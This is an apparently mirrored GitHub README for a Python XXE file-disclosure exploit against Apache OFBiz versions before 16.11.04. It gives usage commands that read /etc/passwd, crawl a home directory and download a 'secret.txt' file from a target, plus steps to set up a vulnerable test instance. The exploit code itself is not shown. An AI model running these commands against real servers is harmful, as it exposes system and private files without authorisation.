Giter Site home page Giter Site logo

apache-ofbiz-xxe's Introduction

Apache OFBiz XXE

XXE injection (file disclosure) exploit for Apache OFBiz < 16.11.04

Information

Apache OFBiz, before version 16.11.04, contains two distinct XXE injection vulnerabilities. The public disclosures for each vulnerability can be found below:

This exploit targets the vulnerability disclosed in link 1. Although this vulnerability was not assigned a CVE (the root cause lies in an outdated library), it is easier to exploit than the vulnerability disclosed in link 2 (CVE-2018-8033), which requires hosting an external DTD that the vulnerable server must reference in each request.

Usage

Display a single file

$ python exploit.py -u https://localhost:8443 -f /etc/passwd

Crawl through directories

$ python exploit.py -u https://localhost:8443 -c /home/bob

[*] DIR: /home/bob
[*] DIR: /home/bob/docs
[*] FILE: /home/bob/docs/proposal.docx
[*] DIR: /home/bob/stuff
[*] DIR: /home/bob/stuff/more-stuff
[*] FILE: /home/bob/stuff/more-stuff/file2.txt
[*] FILE: /home/bob/stuff/more-stuff/secret.txt
[*] FILE: /home/bob/stuff/file3.txt
[*] FILE: /home/bob/file.txt

Download a single file

$ python exploit.py -u https://localhost:8443 -f /home/bob/stuff/more-stuff/secret.txt -o ~/local/
$ ls ~/local/
home--bob--stuff--more-stuff--secret.txt

OFBiz setup

Follow the steps below to setup OFBiz 16.11.04 in order to test this exploit. This was performed on Ubuntu.

$ sudo add-apt-repository ppa:webupd8team/java
$ sudo apt install oracle-java8-installer 
$ sudo update-alternatives --config java

$ wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-16.11.04.zip
$ unzip apache-ofbiz-16.11.04.zip
$ cd apache-ofbiz-16.11.04/

$ ./gradlew cleanAll loadDefault
$ ./gradlew ofbiz

Browse to https://<ip>:8443/ordermgr/control/main to make sure the installation was successful

apache-ofbiz-xxe's People

Contributors

jamieparfet avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.